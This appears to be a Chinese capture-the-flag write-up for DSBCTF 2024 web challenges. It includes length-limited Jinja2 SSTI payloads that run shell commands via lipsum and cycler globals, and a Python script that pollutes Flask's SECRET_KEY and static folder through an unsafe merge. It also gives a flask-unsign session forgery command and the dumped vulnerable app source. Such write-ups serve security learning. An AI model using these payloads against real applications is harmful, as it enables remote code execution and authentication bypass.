DSBCTF单身杯2024

签到·好玩的PHP

小考点:数字123和字符串123的md5是一样的,但是强比较不一样

ezzz_ssti

ssti有长度限制

利用config是字典的子类,我们可以使用update方法将我们要写的payload给储存到config里面,然后再取出来

目标:

1
{{lipsum.__globals__.os.popen('cat /f*').read()}}

exp:

1
2
3
4
5
{%set x=config.update(a=lipsum.__globals__)%}#长度太长了
可以先把config.update给存一下
{%set x=config.update(a=config.update)%}
{%set x=config.a(b=lipsum.__globals__)%}
{{config.b.os.popen('cat /f*').read()}}

拿到flag

ez_inject

注册进去

image-20251129185509255

image-20251129185541908

提示说利用注册去进行原型链污染,而且提到了身份,我们看看cookie

1
.eJwdzUsKhDAQANGrhF4biPmM4lmE0GpnzCIJpBUR8e46U4u3rQtoXotPxIxfggHOsleBmQ-qIrL4147bvAVey3GpT6fIYC9t6PBlWmRvrZKatDPBOQra3GOGBiJ7XFLMMKgGdqaaMf0GrTZwP_zzJOE.aSrQ5w.ktXLaj3P75GzmyN1QiItSA52NcI

这里是session,大抵就是flask的session伪造了,密钥提示我们去污染app.config.SECRET_KEY

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url = "http://2ee11bb0-05f6-4dda-865c-21b1c010b233.challenge.ctf.show/register"
payload = {
"username":"1",
"password":"1",
"__init__":{
"__globals__":{
"app":{
"config":{"SECRET_KEY":"rufeii"}
}
}
}
}
res = requests.post(url,json=payload)
print(res.text)

然后就是伪造session

1
flask-unsign --sign --cookie "{'is_admin': 1, 'username': '1'}" --secret 'rufeii'

image-20251129191712309

之后就是ssti不需要{{}},应该就过滤了点关键字很好打

1
2
cycler['__in''it__']['__glo''bals__'].os.popen('ls /').read()
cycler['__in''it__']['__glo''bals__'].os.popen('nl /f*').read()

非预期

污染的时候直接尝试污染静态目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "http://3b889b74-472b-4490-8994-17e02fe934b1.challenge.ctf.show/register"

payload={
"username": "test",
"password": "test",
"__init__": {
"__globals__": {
"app": {
"_static_folder":"/"
}
}
}
}

r = requests.post(url=url, json=payload)

print(r.text)

最后我把源码拿了一下/var/www/html/app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
from flask import Flask, abort, session, request, redirect, url_for, render_template, render_template_string, jsonify
from utils import waf, key

app = Flask(__name__)

# 设置SECRET_KEY
app.config['SECRET_KEY'] = 'ctfshow5201314'
app.config['SESSION_COOKIE_NAME'] = 'user'

users = {}

valid_urls = ['/logout', '/', '/echo', '/secret', '/register', '/login', '/chat']


class CTFer:
def __init__(self, username, password):
self.username = username
self.password = password
self.is_admin = 0 # 也可以设置默认的 is_admin


def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and isinstance(v, dict):
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and isinstance(v, dict):
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


# 装饰器用于验证 URL
def require_valid_url(f):
def wrapper(*args, **kwargs):
if request.path not in valid_urls:
return jsonify({"status": "fail", "message": "Access denied"}), 403
return f(*args, **kwargs)

wrapper.__name__ = f.__name__ # 保持视图函数名称
return wrapper


@app.route('/')
@require_valid_url
def index():
if 'username' in session:
return render_template('index.html', username=session['username'], echo_message=session.get('echo_message'))
return render_template('index.html', echo_message=session.get('echo_message'))


@app.route('/register', methods=['GET', 'POST'])
@require_valid_url
def register():
if request.method == 'POST':
if request.is_json: # 处理 JSON 请求
username = request.json.get('username')
password = request.json.get('password')

if username in users:
return jsonify({"status": "fail", "message": "Username already exists"}), 400

ctfer = CTFer(username, password)
merge(request.json, ctfer)
users[ctfer.username] = {'password': ctfer.password, 'is_admin': ctfer.is_admin}
return jsonify({"status": "success", "message": "Yeah~ You succeeded!"})

# 处理表单请求
data = request.form.to_dict(flat=False)
username = data.get('username', [''])[0]
password = data.get('password', [''])[0]

if username in users:
return 'Username already exists', 400

users[username] = {'password': password, 'is_admin': 0}
return redirect(url_for('login'))

return render_template('register.html')


@app.route('/login', methods=['GET', 'POST'])
@require_valid_url
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')

if username in users and users[username]['password'] == password:
session['username'] = username
session['is_admin'] = users[username]['is_admin']
return redirect(url_for('index'))
else:
return 'Invalid credentials'

return render_template('login.html')


@app.route('/logout')
@require_valid_url
def logout():
session.pop('username', None)
session.pop('is_admin', None)
return redirect(url_for('index'))


@app.route('/chat')
@require_valid_url
def chat():
return render_template('chat.html')


@app.route('/secret')
@require_valid_url
def secret():
if 'is_admin' in session and session['is_admin'] == 1:
with open('secret.txt', 'r') as file:
secret_content = file.read()
return render_template('secret.html', secret_content=secret_content)
else:
return render_template('access_denied.html'), 403


@app.route('/echo', methods=['POST'])
@require_valid_url
def echo():
message = request.form.get('message')
session['echo_message'] = message
if 'is_admin' in session and session['is_admin'] == 1:
if key(message):
if waf(message):
template = 'your answer is {{%s}}' % session['echo_message']

try:
render_template_string(template)
session['echo_message'] = render_template_string(template)
except:
abort(404)
return redirect(url_for('index'))
else:
session['echo_message'] = 'You can bypass it!'
return redirect(url_for('index'))
else:
return redirect(url_for('index'))


if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)

迷雾重重

php的题目不是训练的重点,不想写